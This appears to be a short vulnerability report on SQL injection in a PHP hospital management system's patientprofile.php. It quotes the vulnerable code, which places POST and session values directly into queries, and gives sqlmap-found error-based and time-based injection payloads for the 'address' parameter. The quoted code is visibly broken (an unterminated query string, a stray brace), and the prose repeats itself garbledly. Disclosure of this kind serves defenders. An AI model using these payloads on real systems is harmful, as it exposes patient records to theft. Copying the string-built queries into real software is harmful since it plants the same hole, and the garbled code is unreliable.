

Hospital Management System patientprofile.php has Sqlinjection

A SQL injection vulnerability exists in the Hospital Management System patientprofile.php has Sqliinjection has Sqliinjection The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

```
1 <?php
2 session_start();
3 include("headers.php");
4 include("dbconnection.php");
5 if(isset($_POST[submit]))
6 {
7     $sql="UPDATE patient SET patientname='$_POST[patientname]',admissiondate='$_POST[admissiondate]',admissiontime='$_POST[admissiontime]'
8     if($sql = mysqli_query($con,$sql))
9     {
10         echo "<script>alert('patient record updated successfully...');</script>";
11     }
12     else
13     {
14         echo mysqli_error($con);
15     }
16 }
17 if(isset($_SESSION[patientid]))
18 {
19     $sql="SELECT * FROM patient WHERE patientid='$_SESSION[patientid]' ";
20     $sql = mysqli_query($con,$sql);
21     $rsedit = mysqli_fetch_array($sql);
22 }
23 }
24 ?>
25
26 <div class="wrapper col2">
27     <div id="breadcrumb">
28         <ul>
29             <li class="first">Patient Profile</li></ul>
30         </div>
31     </div>
32     <div class="wrapper col4">
33         <div id="container">
34             <form method="post" action="" name="frmpatprfl" onSubmit="return validateform()">
35                 <table width="200" border="3">
36                     <tbody>
37                         <tr>
```

Sqlmap Attack

```
sqlmap identified the following injection point(s) with a total of 979 HTTP(s) requests:
---
Parameter: address (POST)
```

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: address= '()%26%<acx><ScRiPt >Tu0o(9376)</ScRiPt" WHERE 9474=9474 AND GTID_SUBSET(CONCAT(0x71766b7871,(SELECT (ELT(5189=5189,1))),0x7162786a71),5189)-- 1PZx>&admissiondate=01/01/1967&admissiontme=1&city=San Francisco&dateofbirth=01/01/1967&loginid=HfjNULYZ&mobilenumber=987-65-4329&patientname=HfjNULYZ&pincode=94102&select2=A+&select3=FEMALE&submit=Submit

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: address= '()%26%<acx><ScRiPt >Tu0o(9376)</ScRiPt" WHERE 9533=9533 AND (SELECT 1500 FROM (SELECT(SLEEP(5)))fuNO)-- YVqE>&admissiondate=01/01/1967&admissiontme=1&city=San Francisco&dateofbirth=01/01/1967&loginid=HfjNULYZ&mobilenumber=987-65-4329&patientname=HfjNULYZ&pincode=94102&select2=A+&select3=FEMALE&submit=Submit
